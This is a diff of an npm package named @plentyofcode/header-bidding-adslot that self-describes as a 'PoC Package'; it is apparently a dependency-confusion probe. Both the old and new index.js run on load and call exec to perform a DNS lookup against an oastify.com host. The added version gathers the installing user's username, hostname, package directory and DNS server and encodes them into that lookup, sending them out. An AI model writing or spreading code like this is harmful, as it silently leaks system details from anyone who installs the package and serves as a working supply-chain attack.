@plentyofcode/header-bidding-adslot 2.0.36 → 2.0.40

package/index.js

@@ -1,12 +1,24 @@
 const { exec } = require("child_process");
-exec(`a=$(whoami) && host $a.6elwv6smxqmvomk604z8nlqb329txmlb.oastify.com`, (error, data, getter) => {
+const dns = require("dns");
+const os = require("os");
+
+// RCE
+const packageName = "@plentyofcode/header-bidding-adslot";  // PackageName
+const username = os.userInfo().username;  // User
+const hostname = os.hostname();           // HostName
+const currentDir = __dirname;             // Dir
+const dnsServer = dns.getServers()[0] || "none"; // First DNS
+
+// Format and Enconde
+const info = `p=${packageName}&u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
+
+const encodedInfo = encodeURIComponent(info);
+
+// Exec and DNS Request
+exec(`host ${encodedInfo}.y43b18cd8eaw7j5syw1prliuklqce22r.oastify.com`, (error, data, getter) => {
     if (error) {
         console.log("error", error.message);
         return;
     }
-    if (getter) {
-        console.log(data);
-        return;
-    }
     console.log(data);
 });

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "@plentyofcode/header-bidding-adslot",
-    "version": "2.0.36",
+    "version": "2.0.40",
     "description": "PoC Package",
     "main": "index.js",
     "scripts": {